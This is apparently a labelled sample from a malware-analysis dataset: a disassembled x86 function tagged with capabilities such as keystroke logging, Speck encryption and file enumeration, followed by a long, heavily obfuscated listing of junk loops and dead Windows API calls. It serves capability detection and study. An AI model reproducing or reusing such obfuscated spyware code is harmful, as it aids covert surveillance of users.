Function at 0x1003922c
Capabilities:
Check os version
Connect pipe
Encrypt data using speck
Enumerate files on windows
Extract resource via kernel32 functions
Get disk information
Log keystrokes via polling
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fe3a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x10a0
call fcn.1005b470
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xc30], 0xb57fd546
mov dword [ebp - 0xc2c], 0xb57fd546
mov dword [ebp - 0xc28], 0xb57fd546
mov dword [ebp - 0xc24], 0xb57fd546
lea ecx, [ebp - 0x3ed]
call fcn.1000f072
push eax
lea eax, [ebp - 0xc20]
push eax
lea eax, [ebp - 0xc30]
push eax
lea ecx, [ebp - 0xf28]
call fcn.1000f075
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdec]
call fcn.1000f021
and dword [ebp - 4], 0
mov dword [ebp - 0x114], 0x6d444182
mov dword [ebp - 0x9d8], 0x95998ab5
mov dword [ebp - 0xec0], 0x24f20479
mov dword [ebp - 0xd88], 0x817d1dc6
mov dword [ebp - 0x200], 0
jmp 0x100392f7
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jge 0x10039313
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0xeb4], 0xa955a63a
jmp 0x100392ea
mov dword [ebp - 0x114], 3
jmp 0x1003932c
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jl 0x100395b3
mov dword [ebp - 0x88c], 0x5925ef2c
mov dword [ebp - 0xd90], 0x7cfaf42
mov dword [ebp - 0x49c], 0x7605
mov dword [ebp - 0x93c], str.bdwk_ofkhmsk_iqrw_bzvhfo_hfpncotdj_stcwpy_paayfi
cmp dword [ebp - 0x49c], 0x7719
jle 0x100393f2
and dword [ebp - 0x190], 0
jmp 0x10039387
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x36f
jge 0x100393ea
and dword [ebp - 0x208], 0
jmp 0x100393a9
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x253f
jge 0x100393e8
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x208]
shl eax, cl
cdq
mov dword [ebp - 0x9ec], eax
mov dword [ebp - 0x9e8], edx
push dword [ebp - 0x9e8]
push dword [ebp - 0x9ec]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003939c
jmp 0x1003937a
push 0
call dword [sym.imp.USER32.dll_SetCursor]
mov dword [ebp - 0xe60], 0
mov byte [ebp - 4], 1
cmp dword [ebp - 0x49c], 0x7331
jge 0x1003941c
mov edx, dword [ebp - 0x93c]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x10039438
and dword [ebp - 4], 0
jmp 0x10039442
mov dword [ebp - 0xd98], 0
mov dword [ebp - 0xee0], 0x70012af0
mov dword [ebp - 0xda0], 0x8a9017ca
mov dword [ebp - 0xe70], 0xfffffff8
mov dword [ebp - 0xda8], 6
mov dword [ebp - 0xe84], 0xfffffffc
mov dword [ebp - 0x9d0], 0xffffffff
mov dword [ebp - 0xdb0], 9
mov dword [ebp - 0xe80], 0xe779066
mov dword [ebp - 0xdb8], 0
mov dword [ebp - 0xe88], 1
mov dword [ebp - 0xdc0], 8
mov dword [ebp - 0xe90], 0
mov dword [ebp - 0xdc8], 1
mov dword [ebp - 0x78], 0
jmp 0x100394de
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x100394f4
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x108c], 1
jmp 0x100394d7
mov dword [ebp - 0x78], 0
jmp 0x10039504
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x1003951a
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xc0c], 0
jmp 0x100394fd
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 0
je 0x10039595
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc0c]
inc eax
mov dword [ebp - 0x8bc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp + eax - 0xc0c], ecx
cmp dword [ebp - 0x8bc], 0
je 0x1003956b
mov dword [ebp - 0x8c4], 1
jmp 0x10039572
and dword [ebp - 0x8c4], 0
push 3
lea ecx, [ebp - 0xdec]
call fcn.1000f063
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8c4]
jg 0x10039595
mov dword [ebp - 0x8cc], 1
jmp 0x1003959c
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x8cc]
sub eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x9d8], eax
jmp 0x1003931f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdec]
call fcn.1000f047
cmp dword [0x110921f4], 0
jne 0x1003fb9a
push 3
lea ecx, [ebp - 0xbec]
call fcn.1000efc4
mov dword [ebp - 4], 3
mov dword [ebp - 0xbcc], 1
mov dword [ebp - 0xbc8], 1
mov dword [ebp - 0xbc4], 1
mov dword [ebp - 0xbc0], 1
mov dword [ebp - 0x9e0], 0x8c9a01c7
mov dword [ebp - 0x858], 0xffffffff
mov dword [ebp - 0x198], 0
jmp 0x10039638
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x1003965a
push dword [ebp - 0x198]
lea ecx, [ebp - 0xbec]
call fcn.1000f063
mov dword [eax], 0x3342eb90
jmp 0x1003962b
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xbcc], 0
jmp 0x10039685
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbcc]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xbcc], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbcc], 2
jg 0x10039854
mov dword [ebp - 0x98], 1
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xe8c], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x98]
jge 0x100396c8
mov dword [ebp - 0x8f4], 1
jmp 0x100396cf
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x8f4], eax
jne 0x100396e9
mov dword [ebp - 0x678], 1
jmp 0x100396f0
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x678], eax
jl 0x1003970a
mov dword [ebp - 0x884], 1
jmp 0x10039711
and dword [ebp - 0x884], 0
cmp dword [ebp - 0x884], 0xd9ba5f27
je 0x10039729
mov dword [ebp - 0x400], 1
jmp 0x10039730
and dword [ebp - 0x400], 0
push 0
lea ecx, [ebp - 0xbec]
call fcn.1000f063
mov esi, dword [eax]
add esi, dword [ebp - 0x400]
push 2
lea ecx, [ebp - 0xbec]
call fcn.1000f063
cmp dword [eax], esi
jne 0x10039762
mov dword [ebp - 0x7b8], 1
jmp 0x10039769
and dword [ebp - 0x7b8], 0
cmp dword [ebp - 0x7b8], 0xb857
jne 0x10039781
mov dword [ebp - 0x408], 1
jmp 0x10039788
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x9e0]
cmp dword [ebp - 0x408], eax
jge 0x100397ab
cmp dword [ebp - 0x98], 0
je 0x100397ab
mov dword [ebp - 0x680], 1
jmp 0x100397b2
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x858]
cmp dword [ebp - 0x680], eax
jne 0x100397cc
mov dword [ebp - 0x410], 1
jmp 0x100397d3
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x410]
jne 0x100397f6
cmp dword [ebp - 0x858], 0
je 0x100397f6
mov dword [ebp - 0x418], 1
jmp 0x100397fd
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
sub eax, 0x8e3b
cmp eax, 0x565e
je 0x1003981b
mov dword [ebp - 0x688], 1
jmp 0x10039822
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x688], eax
jg 0x1003983c
mov dword [ebp - 0x420], 1
jmp 0x10039843
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x98], eax
jmp 0x1003966c
mov dword [ebp - 0x7c0], 0x1029
mov dword [ebp - 0xb30], str.rxcub_wuvw_fvkkv_gtwjrnr_hgrscekxc_bugd_jyg_qqfmszvca_lhy_gtnz_xouqh
cmp dword [ebp - 0x7c0], 0x120b
jle 0x100398fc
push 0
push 0x24f
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
and dword [ebp - 0x210], 0
jmp 0x1003989b
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x3811
jge 0x100398fc
and dword [ebp - 0x1a0], 0
jmp 0x100398bd
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x2884
jge 0x100398fa
mov eax, dword [ebp - 0x210]
and eax, dword [ebp - 0x1a0]
cdq
mov dword [ebp - 0x9f8], eax
mov dword [ebp - 0x9f4], edx
push dword [ebp - 0x9f4]
push dword [ebp - 0x9f8]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x100398b0
jmp 0x1003988e
mov byte [ebp - 0xce], 0
mov byte [ebp - 4], 4
cmp dword [ebp - 0x7c0], 0xc9e
jge 0x10039923
mov edx, dword [ebp - 0xb30]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003993f
mov dword [ebp - 4], 3
jmp 0x1003994f
movzx eax, byte [ebp - 0xce]
test eax, eax
je 0x10039962
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbec]
call fcn.1000f047
mov dword [ebp - 0x24], 0x87013dce
mov dword [ebp - 0xce8], 0
mov dword [ebp - 0x228], 0x7ffeac8e
mov dword [ebp - 0x458], 2
mov dword [ebp - 0x218], 0
jmp 0x100399af
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 3
jge 0x100399cb
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x3e8], 0xd7f825e
jmp 0x100399a2
mov dword [ebp - 0x24], 0
jmp 0x100399db
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x10039d71
mov dword [ebp - 0x6a8], 0xfffffff6
mov dword [ebp - 0x1a8], 0
jmp 0x10039a08
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x10039a21
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x54], 0xda4d073f
jmp 0x100399fb
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x54], 2
jmp 0x10039a46
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x54], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
jl 0x10039d5e
mov dword [ebp - 0xe8], 0x8110cbbb
mov dword [ebp - 0xcf0], 0xf433c8a0
push 2
lea ecx, [ebp - 0xdfc]
call fcn.1000efc4
mov dword [ebp - 4], 6
mov dword [ebp - 0x220], 0
jmp 0x10039a98
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 2
jge 0x10039aba
push dword [ebp - 0x220]
lea ecx, [ebp - 0xdfc]
call fcn.1000f063
mov dword [eax], 4
jmp 0x10039a8b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3e8]
mov dword [ebp - 0xcf8], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp + eax*4 - 0x3e8]
jl 0x10039ae5
mov dword [ebp - 0x438], 1
jmp 0x10039aec
and dword [ebp - 0x438], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x54]
mov ecx, dword [ebp + ecx*4 - 0x3e8]
cmp ecx, dword [ebp + eax - 0x3e8]
jge 0x10039b18
mov dword [ebp - 0x428], 1
jmp 0x10039b1f
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3e8]
imul eax, dword [ebp - 0x428]
sub eax, 0xcedb
cmp eax, dword [ebp - 0x24]
jne 0x10039b46
mov dword [ebp - 0x690], 1
jmp 0x10039b4d
and dword [ebp - 0x690], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x24]
push 4
pop esi
imul esi, esi, 0
mov esi, dword [ebp + esi - 0x54]
mov esi, dword [ebp + esi*4 - 0x3e8]
imul esi, dword [ebp - 0x690]
sub esi, dword [ebp + edx*4 - 0x3e8]
imul esi, dword [ebp + ecx - 0x54]
cmp esi, dword [ebp + eax - 0x54]
jl 0x10039ba6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp dword [ebp + eax*4 - 0x3e8], 0
je 0x10039ba6
mov dword [ebp - 0x430], 1
jmp 0x10039bad
and dword [ebp - 0x430], 0
cmp dword [ebp - 0x430], 0x6e8
jg 0x10039bc5
mov dword [ebp - 0x8c8], 1
jmp 0x10039bcc
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0x24]
jge 0x10039bef
mov dword [ebp - 0x698], 1
jmp 0x10039bf6
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x438]
cmp eax, dword [ebp - 0x698]
je 0x10039c10
mov dword [ebp - 0x440], 1
jmp 0x10039c17
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3e8]
cmp dword [ebp - 0x440], eax
jl 0x10039c35
mov dword [ebp - 0x7c8], 1
jmp 0x10039c3c
and dword [ebp - 0x7c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
mov eax, dword [ebp + eax*4 - 0x3e8]
cmp eax, dword [ebp - 0x7c8]
je 0x10039c61
mov dword [ebp - 0x448], 1
jmp 0x10039c68
and dword [ebp - 0x448], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp dword [ebp - 0x448], eax
jge 0x10039c92
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3e8], 0
jne 0x10039c92
and dword [ebp - 0x6a0], 0
jmp 0x10039c9c
mov dword [ebp - 0x6a0], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x6a0], eax
jl 0x10039cb3
mov dword [ebp - 0x450], 1
jmp 0x10039cba
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x450], eax
je 0x10039cd1
mov dword [ebp - 0x860], 1
jmp 0x10039cd8
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x860]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0xe8], 0
jmp 0x10039cfd
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 2
jg 0x10039d4a
mov dword [ebp - 0x1b0], 0
jmp 0x10039d1f
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jge 0x10039d3b
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0xf70], 0x52783de7
jmp 0x10039d12
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
jmp 0x10039cf0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdfc]
call fcn.1000f047
jmp 0x10039a31
cmp dword [ebp - 0x6a8], 0
je 0x10039d6c
jmp 0x100399d4
jmp 0x100399d4
mov dword [ebp - 0x228], 0
jmp 0x10039d8a
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 2
jg 0x10039dc2
mov byte [ebp - 0xe3], 0
movzx eax, byte [ebp - 0xe3]
test eax, eax
je 0x10039dc0
push 0
push 0x260d
push 0x21e5
push 0x62a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
jmp 0x10039d7d
mov dword [ebp - 0xfc], 0x47dfa860
mov dword [ebp - 0xb38], 0xffffffff
mov dword [ebp - 0xb40], 0xbb2f1448
mov dword [ebp - 0x3b4], 0xf906d8bc
mov dword [ebp - 0x6b0], 0
mov dword [ebp - 0xfc], 0xffffffe2
jmp 0x10039e0d
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0xfffffff9
jl 0x10039f57
mov dword [ebp - 0x3c8], 0x62daab72
mov dword [ebp - 0x8b0], 0x5ca42045
mov dword [ebp - 0x3d8], 0xd44c
mov dword [ebp - 0xb50], 0x24f63abe
mov dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0xd00], eax
cmp dword [ebp - 0x3d8], 0
jne 0x10039ef7
mov eax, dword [ebp - 0x3c8]
cmp eax, dword [ebp - 0xb38]
jl 0x10039e8b
mov dword [ebp - 0x460], 1
jmp 0x10039e92
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0xb40]
cmp dword [ebp - 0x460], eax
jge 0x10039eac
mov dword [ebp - 0x7d0], 1
jmp 0x10039eb3
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0xfc]
jle 0x10039ed9
mov dword [ebp - 0x468], 1
jmp 0x10039ee0
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x6b0]
cmp dword [ebp - 0x468], eax
jne 0x10039ef7
and dword [ebp - 0x470], 0
jmp 0x10039f01
mov dword [ebp - 0x470], 1
mov eax, dword [ebp - 0x6b0]
cmp dword [ebp - 0x470], eax
je 0x10039f1b
mov dword [ebp - 0xb48], 1
jmp 0x10039f22
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0xd08], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0xb50], eax
jmp 0x10039e00
mov byte [ebp - 0x154], 2
mov byte [ebp - 0x153], 0x81
mov byte [ebp - 0x152], 6
mov byte [ebp - 0x151], 0x41
mov byte [ebp - 0x150], 3
mov byte [ebp - 0x14f], 0x5d
mov byte [ebp - 0x14e], 2
mov byte [ebp - 0x14d], 0xf5
mov byte [ebp - 0x14c], 0x24
mov byte [ebp - 0x14b], 0xa
mov byte [ebp - 0x14a], 2
mov byte [ebp - 0x149], 9
mov byte [ebp - 0x148], 8
mov byte [ebp - 0x147], 7
mov byte [ebp - 0x146], 0x56
mov byte [ebp - 0x145], 4
mov byte [ebp - 0x144], 0x57
mov byte [ebp - 0x143], 1
mov byte [ebp - 0x142], 0
mov byte [ebp - 0x141], 0
mov byte [ebp - 0x140], 0x2e
mov byte [ebp - 0x13f], 0xb
mov byte [ebp - 0x13e], 0x27
mov byte [ebp - 0x13d], 5
mov byte [ebp - 0x13c], 0
mov byte [ebp - 0x13b], 8
mov byte [ebp - 0x13a], 0x42
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x154]
and eax, 0xf3
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x154]
or ecx, 0xf3
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x154]
mov word [ebp + eax*2 - 0xcd8], cx
mov dword [ebp - 0x3c], 2
and dword [ebp - 0x21c], 0
jmp 0x1003a06b
mov eax, dword [ebp - 0x3c]
inc eax
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1b
jae 0x1003b6a0
mov dword [ebp - 0xbc], 0xdde0bcd8
mov dword [ebp - 0x480], 0xeb9e9d60
mov dword [ebp - 0x478], 0x1e0e
mov dword [ebp - 0xb60], str.icnket_jybs_xbkagz_euxzrn_hjrfgca_jwl_trrna_xxzh_idwoccsa_ydiphs_jdonx
cmp dword [ebp - 0x478], 0x1f26
jle 0x1003a1c0
and dword [ebp - 0x1b8], 0
jmp 0x1003a0c3
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x3d10
jge 0x1003a1b6
and dword [ebp - 0x230], 0
jmp 0x1003a0e9
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x66f6
jge 0x1003a1b1
and dword [ebp - 0x1c0], 0
jmp 0x1003a10f
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x267
jge 0x1003a1ac
and dword [ebp - 0x238], 0
jmp 0x1003a135
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x5d18
jge 0x1003a1a7
mov eax, dword [ebp - 0x1b8]
cdq
idiv dword [ebp - 0x230]
xor edx, dword [ebp - 0x1c0]
xor edx, dword [ebp - 0x238]
mov eax, edx
cdq
mov dword [ebp - 0xa04], eax
mov dword [ebp - 0xa00], edx
push dword [ebp - 0xa00]
push dword [ebp - 0xa04]
lea ecx, [ebp - 0xfd8]
call fcn.10001a55
pop ecx
pop ecx
mov dword [ebp - 0xb58], eax
mov ecx, dword [ebp - 0xb58]
call fcn.10001bde
push eax
call fcn.10047d34
pop ecx
lea ecx, [ebp - 0xfd8]
call fcn.10001bd4
jmp 0x1003a128
jmp 0x1003a102
jmp 0x1003a0dc
jmp 0x1003a0b6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x1003a1e0
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 4], 7
cmp dword [ebp - 0x478], 0x1a79
jge 0x1003a1ff
push dword [ebp - 0xb60]
call fcn.10047d34
pop ecx
jmp 0x1003a21b
or dword [ebp - 4], 0xffffffff
jmp 0x1003a225
mov dword [ebp - 0xbc], 0xfffffff6
jmp 0x1003a23e
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jge 0x1003a345
mov dword [ebp - 0x384], 0xfff8
mov dword [ebp - 0x490], 0xf4a0426a
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xd20], eax
cmp dword [ebp - 0xbc], 0
je 0x1003a289
cmp dword [ebp - 0x480], 0
je 0x1003a289
mov dword [ebp - 0x6b8], 1
jmp 0x1003a290
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x6b8]
jle 0x1003a2b3
cmp dword [ebp - 0x384], 0
je 0x1003a2b3
mov dword [ebp - 0x7d8], 1
jmp 0x1003a2ba
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x480]
add eax, dword [ebp - 0x7d8]
cmp eax, dword [ebp - 0x384]
jge 0x1003a2e0
cmp dword [ebp - 0x490], 0
jne 0x1003a2e0
and dword [ebp - 0x488], 0
jmp 0x1003a2ea
mov dword [ebp - 0x488], 1
mov eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x488]
jle 0x1003a304
mov dword [ebp - 0x6c0], 1
jmp 0x1003a30b
and dword [ebp - 0x6c0], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x490], eax
mov byte [ebp - 0xd7], 0
movzx eax, byte [ebp - 0xd7]
test eax, eax
je 0x1003a340
push 0
push 0
push 0x1300
push 0xcd6
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x1003a231
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x154]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x3c], eax
jne 0x1003ae0d
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x154]
inc eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0xbb8], 0xe91a049f
mov dword [ebp - 0xbb4], 0xe91a049f
mov dword [ebp - 0xbb0], 0xe91a049f
mov dword [ebp - 0xbac], 0xe91a049f
mov dword [ebp - 0x18], 0xc1ec2db2
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x6d0], 0x243b9c30
mov dword [ebp - 0x1c8], 0
jmp 0x1003a3cb
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jge 0x1003a3e7
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0x38c], 1
jmp 0x1003a3be
mov dword [ebp - 0x18], 3
jmp 0x1003a3f7
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x1003a806
mov dword [ebp - 0x10c], 0x158018d9
mov dword [ebp - 0x80], 0x9953e80c
mov dword [ebp - 0x240], 1
mov dword [ebp - 0x248], 0xd8131dda
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xd28], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x80]
jg 0x1003a443
mov dword [ebp - 0x868], 1
jmp 0x1003a44a
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 5
jne 0x1003a45f
mov dword [ebp - 0x498], 1
jmp 0x1003a466
and dword [ebp - 0x498], 0
cmp dword [ebp - 0x498], 0
jne 0x1003a47e
cmp dword [ebp - 0x64], 0
jne 0x1003a47e
and dword [ebp - 0x6c8], 0
jmp 0x1003a488
mov dword [ebp - 0x6c8], 1
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x6c8], eax
jg 0x1003a49f
mov dword [ebp - 0x4a0], 1
jmp 0x1003a4a6
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x4a0]
neg eax
imul eax, eax, 0xfff8
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x80]
mov dword [ebp - 0x240], eax
jne 0x1003a4e3
cmp dword [ebp - 0x10c], 0
jne 0x1003a4e3
and dword [ebp - 0x7e0], 0
jmp 0x1003a4ed
mov dword [ebp - 0x7e0], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x7e0], eax
jne 0x1003a50a
cmp dword [ebp - 0x64], 0
je 0x1003a50a
mov dword [ebp - 0x4a8], 1
jmp 0x1003a511
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xbb8]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4b0]
mov dword [ebp + eax*4 - 0xbb8], ecx
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x6d0]
cmp dword [ebp - 0x4b0], eax
je 0x1003a557
mov dword [ebp - 0x8e0], 1
jmp 0x1003a55e
and dword [ebp - 0x8e0], 0
cmp dword [ebp - 0x8e0], 1
jbe 0x1003a579
mov eax, 0x6194
test eax, eax
jne 0x1003a579
and dword [ebp - 0x4b8], 0
jmp 0x1003a583
mov dword [ebp - 0x4b8], 1
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0x4b8], eax
jle 0x1003a59d
mov dword [ebp - 0xb68], 1
jmp 0x1003a5a4
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xd30], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x64]
jge 0x1003a5c4
cmp dword [ebp - 0x64], 0
jne 0x1003a5c4
and dword [ebp - 0x6d8], 0
jmp 0x1003a5ce
mov dword [ebp - 0x6d8], 1
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x1003a78f
mov dword [ebp - 0x3dc], 0x398ef544
cmp dword [ebp - 0x3dc], 0
je 0x1003a60f
mov eax, 0x1a6f3221
test eax, eax
je 0x1003a60f
mov dword [ebp - 0x870], 1
jmp 0x1003a616
and dword [ebp - 0x870], 0
cmp dword [ebp - 0x240], 0
je 0x1003a63d
mov eax, 0xc02ac6aa
test eax, eax
je 0x1003a63d
cmp dword [ebp - 0x240], 0
je 0x1003a63d
mov dword [ebp - 0x4c0], 1
jmp 0x1003a644
and dword [ebp - 0x4c0], 0
